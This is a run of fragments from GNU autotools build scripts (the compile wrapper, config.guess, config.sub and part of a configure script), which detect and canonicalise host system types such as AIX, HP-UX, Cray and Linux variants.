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See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Usage: # compile PROGRAM [ARGS]... # `-o FOO.o' is removed from the args passed to the actual compile. prog=$1 shift ofile= cfile= args= while test $# -gt 0; do case "$1" in -o) # configure might choose to run compile as `compile cc -o foo foo.c'. # So we do something ugly here. ofile=$2 shift case "$ofile" in *.o | *.obj) ;; *) args="$args -o $ofile" ofile= ;; esac ;; *.c) cfile=$1 args="$args $1" ;; *) args="$args $1" ;; esac shift done if test -z "$ofile" || test -z "$cfile"; then # If no `-o' option was seen then we might have been invoked from a # pattern rule where we don't need one. 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See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner . # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. 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The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit 0 ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit 0 ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit 0 ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit 0 ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit 0 ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit 0 ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit 0 ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit 0 ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD $dummy.c -o $dummy \ && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ && rm -f $dummy.c $dummy && rmdir $tmpdir && exit 0 rm -f $dummy.c $dummy && rmdir $tmpdir echo mips-mips-riscos${UNAME_RELEASE} exit 0 ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit 0 ;; Night_Hawk:*:*:PowerMAX_OS) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit 0 ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit 0 ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit 0 ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit 0 ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit 0 ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit 0 ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit 0 ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit 0 ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit 0 ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit 0 ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit 0 ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF $CC_FOR_BUILD $dummy.c -o $dummy && $dummy && rm -f $dummy.c $dummy && rmdir $tmpdir && exit 0 rm -f $dummy.c $dummy && rmdir $tmpdir echo rs6000-ibm-aix3.2.5 elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit 0 ;; *:AIX:*:[45]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:*:*) echo rs6000-ibm-aix exit 0 ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit 0 ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit 0 ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit 0 ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit 0 ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit 0 ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit 0 ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null) && HP_ARCH=`$dummy` if test -z "$HP_ARCH"; then HP_ARCH=hppa; fi rm -f $dummy.c $dummy && rmdir $tmpdir fi ;; esac echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit 0 ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit 0 ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD $dummy.c -o $dummy && $dummy && rm -f $dummy.c $dummy && rmdir $tmpdir && exit 0 rm -f $dummy.c $dummy && rmdir $tmpdir echo unknown-hitachi-hiuxwe2 exit 0 ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit 0 ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit 0 ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit 0 ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit 0 ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit 0 ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit 0 ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit 0 ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit 0 ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit 0 ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit 0 ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit 0 ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*T3D:*:*:*) echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit 0 ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:FreeBSD:*:*) # Determine whether the default compiler uses glibc. eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #if __GLIBC__ >= 2 LIBC=gnu #else LIBC= #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` rm -f $dummy.c && rmdir $tmpdir echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`${LIBC:+-$LIBC} exit 0 ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit 0 ;; i*:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit 0 ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit 0 ;; x86:Interix*:3*) echo i386-pc-interix3 exit 0 ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i386-pc-interix exit 0 ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit 0 ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit 0 ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; *:GNU:*:*) echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit 0 ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit 0 ;; arm*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; mips:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips #undef mipsel #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mipsel #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` rm -f $dummy.c && rmdir $tmpdir test x"${CPU}" != x && echo "${CPU}-pc-linux-gnu" && exit 0 ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit 0 ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit 0 ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit 0 ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit 0 ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit 0 ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit 0 ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit 0 ;; i*86:Linux:*:*) # The BFD linker knows what the default object file format is, so # first see if it will tell us. cd to the root directory to prevent # problems with other programs or directories called `ld' in the path. # Set LC_ALL=C to ensure ld outputs messages in English. ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ | sed -ne '/supported targets:/!d s/[ ][ ]*/ /g s/.*supported targets: *// s/ .*// p'` case "$ld_supported_targets" in elf32-i386) TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" ;; a.out-i386-linux) echo "${UNAME_MACHINE}-pc-linux-gnuaout" exit 0 ;; coff-i386) echo "${UNAME_MACHINE}-pc-linux-gnucoff" exit 0 ;; "") # Either a pre-BFD a.out linker (linux-gnuoldld) or # one that does not give us useful --help. echo "${UNAME_MACHINE}-pc-linux-gnuoldld" exit 0 ;; esac # Determine whether the default compiler is a.out or elf eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #ifdef __ELF__ # ifdef __GLIBC__ # if __GLIBC__ >= 2 LIBC=gnu # else LIBC=gnulibc1 # endif # else LIBC=gnulibc1 # endif #else #ifdef __INTEL_COMPILER LIBC=gnu #else LIBC=gnuaout #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` rm -f $dummy.c && rmdir $tmpdir test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit 0 ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit 0 ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit 0 ;; i*86:*:5:[78]*) case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit 0 ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit 0 ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit 0 ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i386. echo i386-pc-msdosdjgpp exit 0 ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit 0 ;; paragon:*:*:*) echo i860-intel-osf1 exit 0 ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit 0 ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit 0 ;; M68*:*:R3V[567]*:*) test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; 3[34]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4.3${OS_REL} && exit 0 /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; 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*:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit 0 ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit 0 ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit 0 ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit 0 ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit 0 ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit 0 ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit 0 ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit 0 ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit 0 ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit 0 ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit 0 ;; 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It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. 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# Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; c90) basic_machine=c90-cray os=-unicos ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; crds | unos) basic_machine=m68k-crds ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; 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However `strip' might not be the right # tool to use in cross-compilation environments, therefore Automake # will honor the `STRIP' environment variable to overrule this program. if test "$cross_compiling" != no; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. set dummy ${ac_tool_prefix}strip; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_STRIP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$STRIP"; then ac_cv_prog_STRIP="$STRIP" # Let the 